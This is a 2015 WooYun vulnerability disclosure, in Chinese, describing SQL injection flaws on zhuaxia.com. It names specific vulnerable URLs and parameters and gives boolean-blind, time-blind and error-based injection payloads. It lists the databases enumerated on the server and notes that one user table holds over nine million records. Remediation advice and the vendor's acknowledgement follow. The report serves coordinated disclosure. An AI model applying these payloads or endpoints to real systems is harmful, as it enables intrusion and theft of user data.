漏洞概要 关注数(24) 关注此漏洞
缺陷编号：wooyun-2015-0120284
漏洞标题：抓虾网主站多枚sql注入（涉及重要数据库大量信息）
相关厂商：zhuaxia.com
漏洞作者： 大懒
提交时间：2015-06-13 20:24
修复时间：2015-07-30 11:32
公开时间：2015-07-30 11:32
漏洞类型：SQL注射漏洞
危害等级：高
自评Rank：15
漏洞状态：厂商已经确认
漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]
Tags标签： 无
漏洞详情
披露状态：
2015-06-13： 细节已通知厂商并且等待厂商处理中
2015-06-15： 厂商已经确认，细节仅向厂商公开
2015-06-25： 细节向核心白帽子及相关领域专家公开
2015-07-05： 细节向普通白帽子公开
2015-07-15： 细节向实习白帽子公开
2015-07-30： 细节向公众公开
简要描述：
抓虾网主站多枚sql注入
详细说明：
第一枚：URL：http://www.zhuaxia.com/php_controller/myFeedController.php?action=channelInfo&chid=833&customerId=29034823&lastid=0&show_all_item=1&sourceid=0&stamp=0.09998915647156537&version=200812241245
存在问题参数：chid
payload：:1.布尔盲注 AND 1=1 、AND 1=2
2.时间盲注 AND sleep（XX）
这里是字符型注入
第二枚：
URL：http://www.zhuaxia.com/register_check.php?logId=165
POST参数：blog_url=1&code=94102&do_reg=1&email=test%40email.com&ivc=ARkGQlYUBxw%3d&nickname=1&password=g00dPa%24%24w0rD&password_second=g00dPa%24%24w0rD
存在问题参数是email
报错注入
payload：' and select XXX from (select concat(xx) from ionfromation.XX ) and 'a'='a
这里首先应该关闭显错。
available databases [10]:
[*] dba
[*] information_schema
[*] mysql
[*] percona
[*] performance_schema
[*] test
[*] tudui
[*] wordpress
[*] wordpress_mu
[*] XiaoNei
这里的tudui是一个重要的数据库含有大量的表
然后跑其中前五个的数据如下图：
这是一个用户信息的表，仅截取字段的图举例，后面是数据未截图出来。
然后看了一下XiaoNei这个库
可以看到用户信息有915万多
具体到数据举例前五
漏洞证明：
如上
修复方案：
字符型的话过滤特殊符号例如空格，逗号，括号及其他与业务不相关的符号
然后是关键字及函数的过滤 如 and or || && user() @@user等
如果字符型的话可以首先对php设置 开启magic_quotes_gpc
然后过滤关键字及函数等等
版权声明：转载请注明来源 大懒@乌云
漏洞回应
厂商回应：
危害等级：高
漏洞Rank：15
确认时间：2015-06-15 11:31
厂商回复：
感谢，立刻组织修复
最新状态：
暂无